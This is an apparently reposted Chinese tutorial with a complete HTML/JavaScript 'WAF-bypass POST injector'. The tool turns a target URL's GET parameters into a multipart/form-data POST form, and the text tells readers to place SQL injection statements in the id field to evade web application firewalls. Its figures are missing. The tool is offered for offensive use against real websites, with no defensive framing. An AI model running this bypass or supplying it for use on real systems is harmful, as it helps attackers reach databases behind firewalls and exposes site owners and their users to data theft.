通过二进制文件域绕各种WAF的POST注入、跨站防御

通过二进制文件域绕各种WAF的POST注入、跨站防御
通过multipart/form-data的上传方式绕过waf
一个本地post方式提交的html文件,成功绕过waf,比较方便,

图1:


用浏览器(我用的是chrome浏览器)打开文件,填入需要注入的地址,生成post提交的方式。

图2:


在参数id的位置输入注入语句就可以成功绕过waf了。见图3,图4。

图3:


图4:


而直接get注入的方式是不行的,见图5。

图5:
HTML代码如下:
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  5. <title>绕过WAFPOST注入器</title>
  6. </head>
  7. <body>
  8. <font size="5" color="red">绕过WAFPOST注入器</font>
  9. <br/>
  10. <br/>
  11. <table>
  12. <tr><td>地址:</td><td><input type="text" name="url" value="http://" size=120/>
  13. <input type="button" onclick="CreatQueryString();return false" value="生成POST提交方式" /></td></tr>
  14. </table>
  15. <script type="text/javascript">  
  16. function CreatQueryString(){
  17. var param=document.getElementsByName("url")[0].value;
  18. var urlstr =param.split("?");
  19. document.write("<title>绕过WAF的POST注入器</title>");
  20. document.write("<font size='5' color='red'>绕过WAF的POST注入器</font>");
  21. document.write("<br/>");
  22. document.write("<br/>");
  23. document.write("<table><form name='get' method='POST' enctype='multipart/form-data'>");
  24. document.write("<tr><td>地址:</td><td><input type='text' name='url' value="+urlstr[0]+" size=120 /></td></tr>");
  25. document.write("<tr><td>文件:</td><td><input type='file' name='file' size=109 onpropertychange='show(this.value)' /></td></tr>");
  26. var params= urlstr[1].split("&"); 
  27. for(i=0;i<params.length ;i++){
  28. var values=params[i].split("=");
  29. document.write("<tr><td>参数"+values[0]+"=</td><td><input type='text' name="+values[0]+" value="+values[1]+" size=120 /></td></tr>");
  30. }
  31. document.write("<tr><td><input type='button' onclick='javascript:get.action=document.get.url.value;get.submit()' value='提交' /></td></tr>");
  32. document.write("</form></table>");
  33.   }
  34. </script> 
  35. </div>
  36. </body>
  37. </html>